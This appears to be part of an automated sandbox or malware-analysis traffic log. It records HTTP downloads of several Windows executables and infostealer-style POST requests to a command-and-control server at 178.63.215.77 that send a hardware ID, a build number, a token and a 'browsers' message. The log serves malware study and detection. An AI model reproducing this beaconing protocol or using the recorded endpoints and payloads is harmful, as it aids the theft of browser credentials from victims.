00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 12 Oct 2024 12:17:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 12 Oct 2024 12:17:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 12 Oct 2024 12:17:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 12 Oct 2024 12:17:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 12 Oct 2024 12:17:11 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 12 Oct 2024 12:17:11 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 178.63.215.77Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /031d77089be01fd8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIDHJDGCGDAAKEBGDBKFHost: 178.63.215.77Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 36 33 36 35 43 32 37 35 35 35 43 33 36 31 35 30 33 30 31 31 36 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 37 31 34 30 31 39 36 32 35 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 2d 2d 0d 0a Data Ascii: ------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="hwid"76365C27555C3615030116------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="build"7140196255------IIDHJDGCGDAAKEBGDBKF--
Source: global traffic	HTTP traffic detected: POST /031d77089be01fd8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHCGHJDBFIIDGDHIJDBHost: 178.63.215.77Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 2d 2d 0d 0a Data Ascii: ------CFHCGHJDBFIIDGDHIJDBContent-Disposition: form-data; name="token"86927ca975539af6efedc698a9c06470070390d79a8f09bd6ca079e35af1fa414f897225------CFHCGHJDBFIIDGDHIJDBContent-Disposition: form-data; name="message"browsers------CFHCGHJDBFIIDGDHIJDB--
Source: global traffic	HTTP traffic detected: POST /031d77089be01fd8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDGCFBFBFBKEBGCAFCGHost: 178.63.215.77Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 36 39 32 37 63 61 39 37 35 35 33 39 61 66 36 65 66 65 64 63 36 39 38 61 39 63 30 36 34 37 30 30 37 30 33 39 30 64 37 39 61 38 66 30 39 62 64 36 63 61 30 37 39 65 33 35 61 66 31 66 61 34 31 34 66 38 39 37 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 